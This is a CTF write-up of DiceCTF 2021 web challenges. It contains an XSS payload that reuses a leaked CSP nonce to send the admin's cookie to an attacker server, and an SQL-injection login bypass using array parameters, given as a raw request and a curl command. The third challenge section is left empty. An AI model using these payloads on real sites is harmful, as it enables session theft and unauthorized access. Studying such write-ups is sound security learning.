---
# System prepended metadata

title: DiceCTF 2021 Web
tags: [DiceCTF]

---

# DiceCTF 2021 Web

> [TOC]

## Challenge 1: Babier CSP (XSS, CSP Bypass)

> [name=y4y] 

### Description

Baby CSP was too hard for us, try Babier CSP.

`babier-csp.dicec.tf`

[Admin Bot](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=babier-csp) (Now it is down)

The admin will set a cookie secret equal to `config.secret` in `index.js`

### Source Code

```javascript=1
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

```

### Analysis

![Recon](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/Recon.png)

![Admin Bot](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/Admin_Bot.png)

This is a XSS challenge by the first look, and notice the fruit displayed on page is exactly the value of the `name` parameter. This means by manipulating the value of `name`, we can potentially achieve XSS. 

Now look at the source code. In the HTML code above, we notice 

```html=16
<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
```

and how the CSP header is set: 


```javascript=25
app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})
```

It means the server only accepts script with the nonce of specific value. But lucky for us, the `NONCE` variable in source code is fixed, so we can use the nonce given in the webpage to do our XSS attack.

### Exploit

```html
<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>window.location.href="http://[REDACTED]]/?c="+document.cookie;</script>
```

Send the url (**don't forget to url encode it!**) and wait for the response.

![XSS](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/XSS.png)

Go to the url with the value of `secret`

![Flag](https://raw.githubusercontent.com/Pwnie-Island/Basement-of-Writeup/main/CTF/DiceCTF/2021/Web/Flag.png)

#### Flag

```
dice{web_1s_a_stat3_0f_grac3_857720}
```

## Challenge 2: Missing Flavortext (SQL Injection, Authentication Bypass)

> [name=y4y]  

### Description

Hmm, it looks like there's no flavortext here. Can you try and find it?

[missing-flavortext.dicec.tf](https://missing-flavortext.dicec.tf)

### Recon

![Recon](https://i.imgur.com/3E9LPIE.png)

### Source Code

```javascript=1   
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);
```

### Analysis

The first I've noticed was the 

```javascript
app.use(bodyParser.urlencoded({ extended: true }));
```
line in the source code. I have come across a similar problem in the 2020 Google CTF and I also happened to write a [blog](https://y4y.space/2020/08/25/post-google-ctf-reflection/) for it. The `extended` option means any user can send array data to application. And the way to do that is just like: `username[]=a&username[]=b`. The way express parses those request parameters will also result in a potential SQL authentication bypass, I have gone through it in details in my blog post. 

Back to this problem, we see that if we have a `'` in the request body, the application will redirect us to the home page, but with the option of extended url, we can use arrays to bypass that filter. The rest is then simple, the classic SQL bypass. 

Here is the HTTP request that got me the flag.

```http
POST /login HTTP/1.1
Host: missing-flavortext.dicec.tf
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://missing-flavortext.dicec.tf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: https://missing-flavortext.dicec.tf
Connection: close
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

username[]=admin'+or'1'='1&password=1
```

And the response:

```http
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Content-Length: 319
Content-Type: text/html; charset=UTF-8
Date: Mon, 01 Mar 2021 04:16:29 GMT
Etag: W/"13f-1776baaddc0"
Last-Modified: Thu, 04 Feb 2021 06:11:36 GMT
X-Powered-By: Express
Connection: close

<!doctype html>
<html>
    <head>
        <link rel="stylesheet" href="/styles.css">
    </head>
    <body>
        <div>
            <p>Looks like there was no flavortext here either :(</p>
            <p>Here's your flag?</p>
            <p>dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}</p>
        </div>
    </body>
</html>

```

### Exploit

```shell    
$ curl -X POST -d "username[]=admin' or '1'='1&password=1" https://missing-flavortext.dicec.tf/login
```

#### Flag

```
dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}
```

## Challenge 3: Web Utils (In Progress)

> [name=y4y] 

### Description

My friend made this dumb tool; can you try and steal his cookies? If you send me a link, [I can pass it along](https://us-east1-dicegang.cloudfunctions.net/ctf-2021-admin-bot?challenge=web-utils).

### Recon

Same admin bot from the [[DiceCTF 2021] Babier CSP (Completed)](/l9YY2QTXSIOV3UjoWYhONw) one. 

![admin bot](https://i.imgur.com/3KUVxK9.png)

While on the main application, it has two services, and it does exactly what you expect them to. 

![Pastebin](https://i.imgur.com/p1WENga.png)


### Source Code (or Pseudocode)



### Analysis



### Exploit



#### Flag

```

```

###### tags: `DiceCTF`